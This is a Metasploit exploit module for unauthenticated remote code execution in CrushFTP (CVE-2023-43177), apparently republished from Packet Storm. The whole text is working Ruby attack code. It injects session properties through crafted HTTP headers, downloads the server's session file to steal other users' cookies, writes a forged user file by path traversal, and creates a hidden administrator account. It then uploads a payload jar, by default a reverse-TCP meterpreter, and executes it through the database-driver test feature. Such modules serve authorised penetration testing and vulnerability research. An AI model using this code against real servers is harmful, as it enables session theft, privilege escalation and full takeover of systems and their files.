CrushFTP Remote Code Execution
2024-4-16 00:35:53 Author: packetstormsecurity.com(查看原文) 阅读量:11 收藏

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::Java::HTTP::ClassLoader
prepend Msf::Exploit::Remote::AutoCheck

class CrushFtpError < StandardError; end
class CrushFtpNoAccessError < CrushFtpError; end
class CrushFtpNotFoundError < CrushFtpError; end
class CrushFtpUnknown < CrushFtpError; end

def initialize(info = {})
super(
update_info(
info,
'Name' => 'CrushFTP Unauthenticated RCE',
'Description' => %q{
This exploit module leverages an Improperly Controlled Modification
of Dynamically-Determined Object Attributes vulnerability
(CVE-2023-43177) to achieve unauthenticated remote code execution.
This affects CrushFTP versions prior to 10.5.1.

It is possible to set some user's session properties by sending an HTTP
request with specially crafted Header key-value pairs. This enables an
unauthenticated attacker to access files anywhere on the server file
system and steal the session cookies of valid authenticated users. The
attack consists in hijacking a user's session and escalates privileges
to obtain full control of the target. Remote code execution is obtained
by abusing the dynamic SQL driver loading and configuration testing
feature.
},
'License' => MSF_LICENSE,
'Author' => [
'Ryan Emmons', # Initial research, discovery and PoC
'Christophe De La Fuente' # Metasploit module
],
'References' => [
[ 'URL', 'https://convergetp.com/2023/11/16/crushftp-zero-day-cve-2023-43177-discovered/'],
[ 'URL', 'https://github.com/the-emmons/CVE-2023-43177/blob/main/CVE-2023-43177.py'],
[ 'URL', 'https://www.crushftp.com/crush10wiki/Wiki.jsp?page=Update'],
[ 'CVE', '2023-43177'],
[ 'CWE', '913' ]
],
'Platform' => %w[java unix linux win],
'Privileged' => true,
'Arch' => [ARCH_JAVA, ARCH_X64, ARCH_X86],
'Targets' => [
[
'Java',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java',
# If not set here, Framework will pick this payload anyway and set the default LHOST to the local interface.
# If we set the payload manually to a bind payload (e.g. `java/meterpreter/bind_tcp`) the default LHOST will be
# used and the payload will fail if the target is not local (most likely).
# To avoid this, the default payload is set here, which prevent Framework to set a default LHOST.
'DefaultOptions' => { 'PAYLOAD' => 'java/meterpreter/reverse_tcp' }
}
],
[
'Linux Dropper',
{
'Arch' => [ ARCH_X64, ARCH_X86 ],
'Platform' => 'linux'
}
],
[
'Windows Dropper',
{
'Arch' => [ ARCH_X64, ARCH_X86 ],
'Platform' => 'win'
}
],
],
'DisclosureDate' => '2023-08-08',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [true, 'The base path of the CrushFTP web interface', '/']),
OptInt.new('SESSION_FILE_DELAY', [true, 'The delay in seconds between attempts to download the session file', 30])
]
)
end

def send_as2_query_api(headers = {})
rand_username = rand_text_hex(10)
opts = {
'uri' => normalize_uri(target_uri.path, 'WebInterface/function/?command=getUsername'),
'method' => 'POST',
'headers' => {
'as2-to' => rand_text_hex(8),
# Each key-value pair will be added into the current session’s
# `user_info` Properties, which is used by CrushFTP to store information
# about a user's session. Here, we set a few properties needed for the
# exploit to work.
'user_ip' => '127.0.0.1',
'dont_log' => 'true',
# The `user_name` property will be be included in the response to a
# `getUsername` API query. This will be used to make sure the operation
# worked and the other key-value pairs were added to the session's
# `user_info` Properties.
'user_name' => rand_username
}.merge(headers)
}

# This only works with anonymous sessions, so `#get_anon_session` should be
# called before to make sure the cookie_jar is set with an anonymous
# session cookie.
res = send_request_cgi(opts)
raise CrushFtpNoAccessError, '[send_as2_query_api] Could not connect to the web server - no response' if res.nil?

xml_response = res.get_xml_document
if xml_response.xpath('//loginResult/response').text != 'success'
raise CrushFtpUnknown, '[send_as2_query_api] The API returned a non-successful response'
end

# Checking the forged username returned in the response
unless xml_response.xpath('//loginResult/username').text == rand_username
raise CrushFtpUnknown, '[send_as2_query_api] username not found in response, the exploit didn\'t work'
end

res
end

def send_query_api(command:, cookie: nil, vars: {}, multipart: false, timeout: 20)
opts = {
'uri' => normalize_uri(target_uri.path, 'WebInterface/function/'),
'method' => 'POST'
}
if multipart
opts['vars_form_data'] = [
{
'name' => 'command',
'data' => command
},
]
unless cookie.blank?
opts['vars_form_data'] << {
'name' => 'c2f',
'data' => cookie.last(4)
}
end
opts['vars_form_data'] += vars unless vars.empty?
else
opts['vars_post'] = {
'command' => command
}.merge(vars)
opts['vars_post']['c2f'] = cookie.last(4) unless cookie.blank?
end
opts['cookie'] = "CrushAuth=#{cookie}; currentAuth=#{cookie.last(4)}" unless cookie.nil?

res = send_request_cgi(opts, timeout)
raise CrushFtpNoAccessError, '[send_query_api] Could not connect to the web server - no response' if res.nil?

res
end

def get_anon_session
vprint_status('Getting a new anonymous session')
cookie_jar.clear
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'WebInterface'),
'method' => 'GET',
'keep_cookies' => true
)
raise CrushFtpNoAccessError, '[get_anon_session] Could not connect to the web server - no response' if res.nil?

match = res.get_cookies.match(/CrushAuth=(?<cookie>\d{13}_[A-Za-z0-9]{30})/)
raise CrushFtpNotFoundError, '[get_anon_session] Could not get the `currentAuth` cookie' unless match

vprint_status("Anonymous session cookie: #{match[:cookie]}")
match[:cookie]
end

def check
vprint_status('Checking CrushFTP Server')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'WebInterface', 'login.html'),
'method' => 'GET'
)
return CheckCode::Unknown('Could not connect to the web server - no response') if res.nil?
return CheckCode::Safe('The web server is not running CrushFTP') unless res.body =~ /crushftp/i

cookie = get_anon_session

vprint_status('Checking if the attack primitive works')
# This will raise an exception in case of error
send_as2_query_api

do_logout(cookie)

CheckCode::Appears
rescue CrushFtpError => e
CheckCode::Unknown("#{e.class} - #{e.message}")
end

def rand_dir
@rand_dir ||= "WebInterface/Resources/libs/jq-3.6.0_#{rand_text_hex(10)}-js/"
end

def get_session_file
# Setting this here to be reachable by the ensure block
cookie = nil
begin
cookie = get_anon_session
rescue CrushFtpError => e
print_bad("[get_session_file] Unable to get an anonymous session: #{e.class} - #{e.message}")
return nil
end

vprint_status("Getting session file at `#{rand_dir}`")
headers = {
'filename' => '/',
'user_protocol_proxy' => rand_text_hex(8),
'user_log_file' => 'sessions.obj',
'user_log_path' => './',
'user_log_path_custom' => File.join('.', rand_dir)
}
send_as2_query_api(headers)
formatted_dir = File.join('.', rand_dir.delete_suffix('/'))
register_dirs_for_cleanup(formatted_dir) unless @dropped_dirs.include?(formatted_dir)

res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, rand_dir, 'sessions.obj'),
'method' => 'GET'
)
unless res&.code == 200
print_bad('[get_session_file] Could not connect to the web server - no response') if res.nil?
print_bad('[get_session_file] Could not steal the session file')
return nil
end
print_good('Session file downloaded')

tmp_hash = Rex::Text.md5(res.body)
if @session_file_hash == tmp_hash
vprint_status('Session file has not changed yet, skipping')
return nil
end
@session_file_hash = tmp_hash

res.body
rescue CrushFtpError => e
print_bad("[get_session_file] Unknown failure:#{e.class} - #{e.message}")
return nil
ensure
do_logout(cookie) if cookie
end

def check_sessions(session_file)
valid_sessions = []
session_cookies = session_file.scan(/\d{13}_[A-Za-z0-9]{30}/).uniq
vprint_status("Found #{session_cookies.size} session cookies in the session file")
session_cookies.each do |cookie|
res = send_query_api(command: 'getUsername', cookie: cookie)
username = res.get_xml_document.xpath('//loginResult/username').text
if username == 'anonymous'
vprint_status("Cookie `#{cookie}` is an anonymous session")
elsif username.empty?
vprint_status("Cookie `#{cookie}` is not valid")
else
vprint_status("Cookie `#{cookie}` is valid session (username: #{username})")
valid_sessions << { cookie: cookie, username: username }
end
rescue CrushFtpError => e
print_bad("[check_sessions] Error while checking cookie `#{cookie}`: #{e.class} - #{e.message}")
end
valid_sessions
end

def check_admin_and_windows(cookie)
res = send_query_api(command: 'getDashboardItems', cookie: cookie)

is_windows = res.get_xml_document.xpath('//result/response_data/result_value/machine_is_windows').text
return nil if is_windows.blank?
return true if is_windows == 'true'

false
rescue CrushFtpError
vprint_status("[check_admin_and_get_os_family] Cookie #{cookie} doesn't have access to the `getDashboardItems` API, it is not an admin session")
nil
end

def get_writable_dir(path, cookie)
res = send_query_api(command: 'getXMLListing', cookie: cookie, vars: { 'path' => path, 'random' => "0.#{rand_text_numeric(17)}" })
xml_doc = res.get_xml_document
current_path = xml_doc.xpath('//listingInfo/path').text
if xml_doc.xpath('//listingInfo/privs').text.include?('(write)')
return current_path
end

res.get_xml_document.xpath('//listingInfo/listing/listing_subitem').each do |subitem|
if subitem.at('type').text == 'DIR'
dir = get_writable_dir(File.join(current_path, subitem.at('href_path').text), cookie)
return dir unless dir.nil?
end
end

nil
rescue CrushFtpError => e
print_bad("[get_writable_dir] Unknown failure: #{e.class} - #{e.message}")
nil
end

def upload_file(file_path, file_content, id, cookie)
file_size = file_content.size
vars = [
{ 'name' => 'upload_path', 'data' => file_path },
{ 'name' => 'upload_size', 'data' => file_size },
{ 'name' => 'upload_id', 'data' => id },
{ 'name' => 'start_resume_loc', 'data' => '0' }
]
res = send_query_api(command: 'openFile', cookie: cookie, vars: vars, multipart: true)
response_msg = res.get_xml_document.xpath('//commandResult/response').text
if response_msg != id
raise CrushFtpUnknown, "Unable to upload #{file_path}: #{response_msg}"
end

form_data = Rex::MIME::Message.new
form_data.add_part(file_content, 'application/octet-stream', 'binary', "form-data; name=\"CFCD\"; filename=\"#{file_path}\"")
post_data = form_data.to_s
post_data.sub!("Content-Transfer-Encoding: binary\r\n", '')

send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'U', "#{id}~1~#{file_size}"),
'method' => 'POST',
'cookie' => "CrushAuth=#{cookie}; currentAuth=#{cookie.last(4)}",
'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
'data' => post_data
)

vars = [
{ 'name' => 'upload_id', 'data' => id },
{ 'name' => 'total_chunks', 'data' => '1' },
{ 'name' => 'total_bytes', 'data' => file_size },
{ 'name' => 'filePath', 'data' => file_path },
{ 'name' => 'lastModified', 'data' => DateTime.now.strftime('%Q') },
{ 'name' => 'start_resume_loc', 'data' => '0' }
]
send_query_api(command: 'closeFile', cookie: cookie, vars: vars, multipart: true)
end

def check_egg(session_file, egg)
path = session_file.match(%r{FILE://.*?#{egg}})
return nil unless path

path = path[0]
vprint_status("Found the egg at #{path} in the session file")
if (match = path.match(%r{^FILE://(?<path>[A-Z]:.*)#{egg}}))
print_good("Found path `#{match[:path]}` and it is Windows")
elsif (match = path.match(%r{^FILE:/(?<path>.*)#{egg}}))
print_good("Found path `#{match[:path]}` and it is Unix-like")
end
match[:path]
end

def move_user_xml(admin_username, writable_dir)
headers = {
'filename' => '/',
'user_protocol_proxy' => rand_text_hex(8),
'user_log_file' => 'user.XML',
'user_log_path' => "./../../../../../../../../../../../../../../..#{writable_dir}",
'user_log_path_custom' => "./users/MainUsers/#{admin_username}/"
}
send_as2_query_api(headers)
end

def do_priv_esc_and_check_windows(session)
vprint_status('Looking for a directory with write permissions')
writable_dir = get_writable_dir('/', session[:cookie])
if writable_dir.nil?
print_bad('[do_priv_esc_and_check_windows] The user has no upload permissions, privilege escalation is not possible')
return nil
end
print_good("Found a writable directory: #{writable_dir}")

egg_rand = rand_text_hex(10)
print_status("Uploading the egg file `#{egg_rand}`")
egg_path = File.join(writable_dir, egg_rand)
begin
upload_file(egg_path, rand_text_hex(3..6), egg_rand, session[:cookie])
rescue CrushFtpError => e
print_bad("[do_priv_esc_and_check_windows] Unable to upload the egg file: #{e.class} - #{e.message}")
return nil
end

admin_password = rand_text_hex(10)
user_xml = <<~XML.gsub!(/\n */, '')
<?xml version='1.0' encoding='UTF-8'?>
<user type='properties'>
<username>#{session[:username]}</username>
<password>MD5:#{Rex::Text.md5(admin_password)}</password>
<extra_vfs type='vector'></extra_vfs>
<version>1.0</version>
<userVersion>6</userVersion>
<created_by_username>crushadmin</created_by_username>
<created_by_email></created_by_email>
<created_time>#{DateTime.now.strftime('%Q')}</created_time>
<filePublicEncryptionKey></filePublicEncryptionKey>
<fileDecryptionKey></fileDecryptionKey>
<max_logins>0</max_logins>
<root_dir>/</root_dir>
<site>(SITE_PASS)(SITE_DOT)(SITE_EMAILPASSWORD)(CONNECT)</site>
<password_history></password_history>
</user>
XML
xml_path = File.join(writable_dir, 'user.XML')
print_status("Uploading `user.XML` to #{xml_path}")
begin
upload_file(xml_path, user_xml, rand_text_hex(10), session[:cookie])
rescue CrushFtpError => e
print_bad("[do_priv_esc_and_check_windows] Unable to upload `user.XML`: #{e.class} - #{e.message}")
return nil
end

path = nil
loop do
print_status('Looking for the egg in the session file')
session_file = get_session_file
if session_file
path = check_egg(session_file, egg_rand)
break if path
end
print_status("Egg not found, wait #{datastore['SESSION_FILE_DELAY']} seconds and try again... (Ctrl-C to exit)")
sleep datastore['SESSION_FILE_DELAY']
end
print_good("Found the file system path: #{path}")
register_files_for_cleanup(File.join(path, egg_rand))

cookie = nil
begin
cookie = get_anon_session
rescue CrushFtpError => e
print_bad("[do_priv_esc_and_check_windows] Unable to get an anonymous session: #{e.class} - #{e.message}")
return nil
end
admin_username = rand_text_hex(10)
vprint_status("The forged user will be `#{admin_username}`")
vprint_status("Moving user.XML from #{path} to `#{admin_username}` home folder and elevate privileges")
is_windows = path.match(/^[A-Z]:(?<path>.*)/)
move_user_xml(admin_username, is_windows ? Regexp.last_match(:path) : path)

do_logout(cookie)
# `cookie` is explicitly set to `nil` here to make sure the ensure block
# won't log it out again if the next call to `do_login` raises an
# exception. Without this line, if `do_login` raises an exception, `cookie`
# will still contain the value of the previous session cookie, which should
# have been logged out at this point. The ensure block will try to logout
# the same session again.
cookie = nil

print_status('Logging into the elevated account')
cookie = do_login(admin_username, admin_password)
fail_with(Failure::NoAccess, 'Unable to login with the elevated account') unless cookie

print_good('Logged in! Now let\'s create a temporary admin account')
[create_admin_account(cookie, is_windows), is_windows]
ensure
do_logout(cookie) if cookie
end

def create_admin_account(cookie, is_windows)
# This creates an administrator account with the required VFS setting for the exploit to work
admin_username = rand_text_hex(10)
admin_password = rand_text_hex(10)
user_xml = <<~XML.gsub!(/\n */, '')
<?xml version='1.0' encoding='UTF-8'?>
<user type='properties'>
<username>#{admin_username}</username>
<password>#{admin_password}</password>
<extra_vfs type='vector'></extra_vfs>
<version>1.0</version>
<userVersion>6</userVersion>
<created_by_username>crushadmin</created_by_username>
<created_by_email></created_by_email>
<created_time>#{DateTime.now.strftime('%Q')}</created_time>
<filePublicEncryptionKey></filePublicEncryptionKey>
<fileDecryptionKey></fileDecryptionKey>
<max_logins>0</max_logins>
<root_dir>/</root_dir>
<site>(SITE_PASS)(SITE_DOT)(SITE_EMAILPASSWORD)(CONNECT)</site>
<password_history></password_history>
</user>
XML

url = is_windows ? 'FILE://C:/Users/Public/' : 'FILE://var/tmp/'

vfs_xml = <<~XML.gsub!(/\n */, '')
<?xml version='1.0' encoding='UTF-8'?>
<vfs_items type='vector'>
<vfs_items_subitem type='properties'>
<name>tmp</name>
<path>/</path>
<vfs_item type='vector'>
<vfs_item_subitem type='properties'>
<type>DIR</type>
<url>#{url}</url>
</vfs_item_subitem>
</vfs_item>
</vfs_items_subitem>
</vfs_items>
XML

perms_xml = <<~XML.gsub!(/\n */, '')
<?xml version='1.0' encoding='UTF-8'?>
<VFS type='properties'>
<item name='/'>
(read)(view)(resume)
</item>
<item name='/TMP/'>
(read)(write)(view)(delete)(deletedir)(makedir)(rename)(resume)(share)(slideshow)
</item>
</VFS>
XML

vars_post = {
'data_action' => 'new',
'serverGroup' => 'MainUsers',
'username' => admin_username,
'user' => user_xml,
'xmlItem' => 'user',
'vfs_items' => vfs_xml,
'permissions' => perms_xml
}

res = send_query_api(command: 'setUserItem', cookie: cookie, vars: vars_post)
return nil if res.body.include?('Access Denied') || res.code == 404

{ username: admin_username, password: admin_password }
rescue CrushFtpError => e
print_bad("[create_admin_account] Unknown failure: #{e.class} - #{e.message}")
nil
end

def do_login(username, password)
vprint_status("[do_login] Logging in with username `#{username}` and password `#{password}`")
vars = {
'username' => username,
'password' => password,
'encoded' => 'true',
'language' => 'en',
'random' => "0.#{rand_text_numeric(17)}"
}
res = send_query_api(command: 'login', cookie: '', vars: vars)
unless res.code == 200 && res.get_xml_document.xpath('//loginResult/response').text.include?('success')
print_bad('[do_login] Login failed')
return nil
end

match = res.get_cookies.match(/CrushAuth=(?<cookie>\d{13}_[A-Za-z0-9]{30})/)
unless match
print_bad('[do_login] Cannot find session cookie in response')
return nil
end

match[:cookie]
end

def do_logout(cookie)
vprint_status("Logging out session cookie `#{cookie}`")
vars = {
'random' => "0.#{rand_text_numeric(17)}"
}
res = send_query_api(command: 'logout', cookie: cookie, vars: vars)
unless res.code == 200 && res.get_xml_document.xpath('//commandResult/response').text.include?('Logged out')
vprint_bad('[do_logout] Unable to logout')
end
rescue CrushFtpError => e
vprint_bad("[do_logout] An error occured when trying to logout: #{e.class} - #{e.message}")
end

def do_rce(cookie, is_windows)
jar_file = payload.encoded_jar({ arch: payload.arch.first })
jar_file.add_file("#{class_name}.class", constructor_class)
jar_filename = "#{rand_text_hex(4)}.jar"
jar_path = is_windows ? "C:/Users/Public/#{jar_filename}" : "/var/tmp/#{jar_filename}"

print_status("Uploading payload .jar file `#{jar_filename}` to #{jar_path}")
begin
upload_file(jar_filename, jar_file.pack, class_name, cookie)
rescue CrushFtpError => e
raise CrushFtpUnknown, "[do_rce] Unable to upload the payload .jar file: #{e.class} - #{e.message}"
end

print_status('Triggering the payload')
vars = {
'db_driver_file' => jar_path,
'db_driver' => class_name,
'db_url' => 'jdbc:derby:./hax;create=true',
'db_user' => rand_text(3..5),
'db_pass' => rand_text(10..15)
}
begin
send_query_api(command: 'testDB', cookie: cookie, vars: vars, timeout: 0)
rescue CrushFtpNoAccessError
# Expecting no response
end

register_files_for_cleanup(jar_path)
end

def delete_user(username, cookie)
vars = {
'data_action' => 'delete',
'serverGroup' => 'MainUsers',
'usernames' => username,
'user' => '<?xml version="1.0" encoding="UTF-8"?>',
'xmlItem' => 'user',
'vfs_items' => '<?xml version="1.0" encoding="UTF-8"?><vfs type="vector"></vfs>',
'permissions' => '<?xml version="1.0" encoding="UTF-8"?><permissions type="vector"></permissions>'
}
send_query_api(command: 'setUserItem', cookie: cookie, vars: vars)
end

def exploit
admin_creds = nil
is_windows = nil
loop do
print_status('Downloading the session file')
session_file = get_session_file
unless session_file
print_status("No session file, wait #{datastore['SESSION_FILE_DELAY']} seconds and try again... (Ctrl-C to exit)")
sleep datastore['SESSION_FILE_DELAY']
next
end

print_status('Looking for the valid sessions')
session_list = check_sessions(session_file)
if session_list.empty?
print_status("No valid sessions found, wait #{datastore['SESSION_FILE_DELAY']} seconds and try again... (Ctrl-C to exit)")
sleep datastore['SESSION_FILE_DELAY']
next
end

# First, check if we have active admin sessions to go ahead and directly go the RCE part.
session_list.each do |session|
print_status("Checking if user #{session[:username]} is an admin (cookie: #{session[:cookie]})")
# This will return nil if it is not an admin session
is_windows = check_admin_and_windows(session[:cookie])
next if is_windows.nil?

print_good('It is an admin! Let\'s create a temporary admin account')
admin_creds = create_admin_account(session[:cookie], is_windows)
break
end

# If the previous step failed, try to escalate privileges with the remaining active sessions, if any.
if admin_creds.nil?
print_status('Could not find any admin session or the admin account creation failed')
session_list.each do |session|
print_status("Attempting privilege escalation with session cookie #{session}")
admin_creds, is_windows = do_priv_esc_and_check_windows(session)
break unless admin_creds.nil?
end
end

break unless admin_creds.nil?

print_status(
"Creation of an admin account failed with the current active sessions, wait #{datastore['SESSION_FILE_DELAY']}"\
'seconds and try again... (Ctrl-C to exit)'
)
sleep datastore['SESSION_FILE_DELAY']
end

print_good("Administrator account created: username=#{admin_creds[:username]}, password=#{admin_creds[:password]}")

cookie = do_login(admin_creds[:username], admin_creds[:password])
fail_with(Failure::NoAccess, 'Unable to login with the new administrator credentials') unless cookie

do_rce(cookie, is_windows)

print_status('Cleanup the temporary admin account')
delete_user(admin_creds[:username], cookie)
rescue CrushFtpError => e
fail_with(Failure::Unknown, "Unknown failure: #{e.class} - #{e.message}")
ensure
do_logout(cookie) if cookie
end
end


文章来源: https://packetstormsecurity.com/files/178067/crushftp_rce_cve_2023_43177.rb.txt
如有侵权请联系:admin#unsafe.sh